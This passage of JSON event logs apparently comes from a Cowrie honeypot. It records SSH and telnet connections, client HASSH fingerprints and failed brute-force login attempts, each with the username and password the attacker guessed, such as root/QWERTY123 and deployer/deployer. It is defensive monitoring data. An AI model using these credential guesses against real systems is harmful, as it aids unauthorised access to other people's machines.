0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:09.387450Z","src_ip":"176.65.139.103","session":"30c5d82c11ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:09.642435Z","src_ip":"176.65.139.103","session":"30c5d82c11ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:10.973334Z","src_ip":"176.65.139.103","session":"30c5d82c11ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":48818,"dst_ip":"159.203.135.109","dst_port":23,"session":"a605a91c1b86","protocol":"telnet","message":"New connection: 185.26.126.47:48818 (159.203.135.109:23) [session: a605a91c1b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:11.080572Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":52294,"dst_ip":"10.17.0.5","dst_port":22,"session":"efdb5f104b1c","protocol":"ssh","message":"New connection: 103.176.20.115:52294 (10.17.0.5:22) [session: efdb5f104b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:12.759628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:12.765347Z","src_ip":"103.176.20.115","session":"efdb5f104b1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:13.024124Z","src_ip":"103.176.20.115","session":"efdb5f104b1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"totototo","message":"login attempt [root/totototo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:14.085816Z","src_ip":"103.176.20.115","session":"efdb5f104b1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:15.346521Z","src_ip":"103.176.20.115","session":"efdb5f104b1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34152,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb1f89176f41","protocol":"ssh","message":"New connection: 176.65.139.103:34152 (10.17.0.5:22) [session: fb1f89176f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:15.884866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:16.040098Z","src_ip":"176.65.139.103","session":"fb1f89176f41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:16.044700Z","src_ip":"176.65.139.103","session":"fb1f89176f41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:16.451081Z","src_ip":"176.65.139.103","session":"fb1f89176f41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:17.552358Z","src_ip":"176.65.139.103","session":"fb1f89176f41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.438044786453247,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:18.518458Z","src_ip":"185.26.126.47","session":"a605a91c1b86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48230,"dst_ip":"10.17.0.5","dst_port":22,"session":"a26d27ba0dda","protocol":"ssh","message":"New connection: 176.65.139.103:48230 (10.17.0.5:22) [session: a26d27ba0dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:23.012762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:23.026156Z","src_ip":"176.65.139.103","session":"a26d27ba0dda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:23.135605Z","src_ip":"176.65.139.103","session":"a26d27ba0dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:23.555961Z","src_ip":"176.65.139.103","session":"a26d27ba0dda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34300,"dst_ip":"159.203.135.109","dst_port":22,"session":"efe179def747","protocol":"ssh","message":"New connection: 159.203.92.129:34300 (159.203.135.109:22) [session: efe179def747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:23.583051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:23.591753Z","src_ip":"159.203.92.129","session":"efe179def747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:23.595155Z","src_ip":"159.203.92.129","session":"efe179def747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123456qwerty","message":"login attempt [ansible/123456qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:23.637992Z","src_ip":"159.203.92.129","session":"efe179def747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:24.646395Z","src_ip":"159.203.92.129","session":"efe179def747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:24.695464Z","src_ip":"176.65.139.103","session":"a26d27ba0dda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48244,"dst_ip":"10.17.0.5","dst_port":22,"session":"897b57d07017","protocol":"ssh","message":"New connection: 176.65.139.103:48244 (10.17.0.5:22) [session: 897b57d07017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:30.279398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:30.289728Z","src_ip":"176.65.139.103","session":"897b57d07017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:30.365524Z","src_ip":"176.65.139.103","session":"897b57d07017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:30.696545Z","src_ip":"176.65.139.103","session":"897b57d07017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:31.863851Z","src_ip":"176.65.139.103","session":"897b57d07017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45846,"dst_ip":"10.17.0.5","dst_port":22,"session":"60fe7fdb91dd","protocol":"ssh","message":"New connection: 176.65.139.103:45846 (10.17.0.5:22) [session: 60fe7fdb91dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:36.566023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:36.570639Z","src_ip":"176.65.139.103","session":"60fe7fdb91dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:36.815089Z","src_ip":"176.65.139.103","session":"60fe7fdb91dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:37.199400Z","src_ip":"176.65.139.103","session":"60fe7fdb91dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:38.305938Z","src_ip":"176.65.139.103","session":"60fe7fdb91dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42034,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d8efc80980e","protocol":"ssh","message":"New connection: 176.65.139.103:42034 (10.17.0.5:22) [session: 7d8efc80980e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:43.180596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:43.185555Z","src_ip":"176.65.139.103","session":"7d8efc80980e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:43.278747Z","src_ip":"176.65.139.103","session":"7d8efc80980e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:43.527372Z","src_ip":"176.65.139.103","session":"7d8efc80980e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:44.813863Z","src_ip":"176.65.139.103","session":"7d8efc80980e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":58416,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef62a4c41d77","protocol":"ssh","message":"New connection: 80.94.92.182:58416 (10.17.0.5:22) [session: ef62a4c41d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:47.963541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:48.070946Z","src_ip":"80.94.92.182","session":"ef62a4c41d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:48.168833Z","src_ip":"80.94.92.182","session":"ef62a4c41d77","protocol":"ssh"}
